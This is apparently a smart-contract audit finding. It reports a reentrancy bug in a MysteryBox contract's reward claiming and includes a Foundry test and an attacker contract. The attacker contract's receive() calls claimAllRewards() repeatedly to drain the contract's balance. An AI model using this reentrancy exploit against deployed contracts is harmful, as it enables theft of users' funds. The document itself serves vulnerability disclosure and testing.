Reentrancy attack in these 2 function allows a malicious actor to steal all funds from the MysteryBox contract
function testReentrancyInClaimAllRewards() public {
address attacker = makeAddr("attacker");
bool rewardOwned = false;
startHoax(user1, 10 ether);
for (uint256 i = 0; i < 100; i++) {
mysteryBox.buyBox{value: 0.1 ether}();
}
vm.stopPrank();
hoax(attacker, 0.1 ether);
mysteryBox.buyBox{value: 0.1 ether}();
while (!rewardOwned) {
if ((uint256(keccak256(abi.encodePacked(block.timestamp, attacker))) % 100) >= 75) {
vm.prank(attacker);
mysteryBox.openBox();
rewardOwned = true;
} else {
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
}
}
vm.prank(attacker);
MysteryBox.Reward memory attackerRewards = mysteryBox.getRewards()[0];
console.log("Reward Name: ", attackerRewards.name);
console.log("Reward Value: ", attackerRewards.value);
console.log("Contract Balance Before: ", address(mysteryBox).balance);
console.log("Attacker Balance Before:", attacker.balance);
console.log("The attacker should only be able to take out there rewards (", attackerRewards.value, "wei)");
AttackClaimAllRewards attackerContract = new AttackClaimAllRewards(mysteryBox, attacker);
vm.startPrank(attacker);
mysteryBox.transferReward(address(attackerContract), 0);
attackerContract.attack();
vm.stopPrank();
console.log("Contract Balance After: ", address(mysteryBox).balance);
console.log("Attacker Balance After:", attacker.balance);
}
contract AttackClaimAllRewards {
MysteryBox mysteryBox;
address attacker;
constructor(MysteryBox _mysteryBox, address _attacker) {
mysteryBox = _mysteryBox;
attacker = _attacker;
}
function attack() public {
mysteryBox.claimAllRewards();
}
receive() external payable {
if (address(mysteryBox).balance >= (mysteryBox.getRewards()[0].value)) {
mysteryBox.claimAllRewards();
} else {
payable(attacker).transfer(address(this).balance);
}
}
}